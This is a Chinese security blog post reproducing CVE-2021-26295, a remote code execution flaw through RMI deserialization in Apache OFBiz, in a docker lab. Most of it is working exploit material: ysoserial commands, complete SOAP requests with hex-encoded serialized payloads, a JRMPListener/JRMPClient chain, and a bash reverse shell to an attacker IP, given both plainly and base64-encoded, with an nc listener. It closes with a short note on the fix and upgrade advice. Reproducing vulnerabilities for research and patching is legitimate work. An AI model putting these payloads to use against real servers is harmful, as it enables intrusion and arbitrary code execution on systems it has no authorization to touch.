首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2021-26295:Apache OFBiz RMI反序列化

CVE-2021-26295:Apache OFBiz RMI反序列化

作者头像
Al1ex
发布2021-07-21 16:54:33
发布2021-07-21 16:54:33
74900
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
影响范围

Apache OFBiz < 17.12.06

漏洞类型

RMI反序列化

利用条件

影响范围应用

漏洞概述

2021年3月,有安全研究人员披露知名电子商务平台Apache OFBiz存在一处RMI反序列化命令执行漏洞,攻击者可以通过该漏洞在OFBIz服务器上执行任意代码。

漏洞复现
环境搭建

这里使用docker快速搭建漏洞环境:

代码语言:javascript
代码运行次数:0
运行
复制
docker run -d -p 811:8080 -p 8443:8443  opensourceknight/ofbiz
代码语言:javascript
代码运行次数:0
运行
复制
docker start e183adeaa84c

之后访问:

代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.174.239:811/webtools/control/SOAPService

环境搭建完成,之后进行漏洞利用~

简易验证

Step 1:生成反序列化载荷,这里使用URLDNS这一个Gadget进行初步验证

代码语言:javascript
代码运行次数:0
运行
复制
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://2mx7jk.dnslog.cn > exp.ser

Step 2:转十六进制

代码语言:javascript
代码运行次数:0
运行
复制
import binascii
filename = 'exp.ser'
with open(filename, 'rb') as f:
    content = f.read()
print(binascii.hexlify(content))

Step 3:使用burpsuite发送载荷

代码语言:javascript
代码运行次数:0
运行
复制
POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.174.239:811
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OFBiz.Visitor=10100
Connection: close
Content-Length: 1012

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">  
  <soapenv:Header/>  
  <soapenv:Body>
    <ser>
      <map-Map>
        <map-Entry>
          <map-Key> <cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff740010326d78376a6b2e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f326d78376a6b2e646e736c6f672e636e78</cus-obj>
          </map-Key>  
          <map-Value>  
            <std-String/>
          </map-Value>
        </map-Entry>
      </map-Map>
    </ser>
  </soapenv:Body>
</soapenv:Envelope>

Step 4:检查DNSLog端的记录

反弹shell

Step 1:启动一个JRMPListener并指定生成的payload

代码语言:javascript
代码运行次数:0
运行
复制
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6  "bash -i >& /dev/tcp/192.168.174.129/8888 0>&1"

对命令待执行的命令部分进行处理:

代码语言:javascript
代码运行次数:0
运行
复制
bash -i >& /dev/tcp/192.168.174.129/8888 0>&1

最终的命令如下:

代码语言:javascript
代码运行次数:0
运行
复制
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

同时在攻击主机中使用nc监听

代码语言:javascript
代码运行次数:0
运行
复制
nc -lvp 8888

Step 2:使用JRMPClient 生成的payload2(用于链接我们攻击主机)

代码语言:javascript
代码运行次数:0
运行
复制
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 192.168.174.1:9999 > rs.ser 

Step 3:对生成的rs.ser序列化载荷进行十六进制编码

Step 4:使用burpsuite发送载荷

代码语言:javascript
代码运行次数:0
运行
复制
POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.174.239:811
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OFBiz.Visitor=10100
Connection: close
Content-Length: 1014

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">  
  <soapenv:Header/>  
  <soapenv:Body>
    <ser>
      <map-Map>
        <map-Entry>
          <map-Key> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707736000a556e6963617374526566000d3139322e3136382e3137342e310000270f0000000007044d4a00000000000000000000000000000078</cus-obj>
          </map-Key>  
          <map-Value>  
            <std-String/>
          </map-Value>
        </map-Entry>
      </map-Map>
    </ser>
  </soapenv:Body>
</soapenv:Envelope>

Step 5:NC端并未反弹shell回来,同时在JRMPListener端留下来很多请求记录

这里未成功的原因是CC链是需要相关的依赖的,而不是凭空打的,笔者这里尝试了从CC1-CC7的链都没有什么效果,读者可以结合具体的场景进行测试,而这里需要注意的是反弹shell时需要JRMPClient与JRMPListener的配合,其中首先使用JRMPClient生成载荷使得目标服务端回连我们的攻击主机端,之后我们在攻击主机端开启的JRMPListener中指定要执行的载荷将其再次发送到目标服务端,使其在反序列化阶段执行,总之RMI的服务端和客户端时可以互打的,服务端可以打客户端,客户端可以打服务端~

修复方式

官方修复方式如下,在这款可以看到会对类名进行检查是否包含java.rmi.server,如果包含则直接退出:

https://github.com/apache/ofbiz-framework/commit/af9ed4e/

安全建议

升级到最新版本~

参考链接

https://seclists.org/oss-sec/2021/q1/255

https://github.com/apache/ofbiz-framework/commit/af9ed4e/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞类型
  • 利用条件
  • 漏洞概述
  • 漏洞复现
    • 环境搭建
    • 简易验证
    • 反弹shell
  • 修复方式
  • 安全建议
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档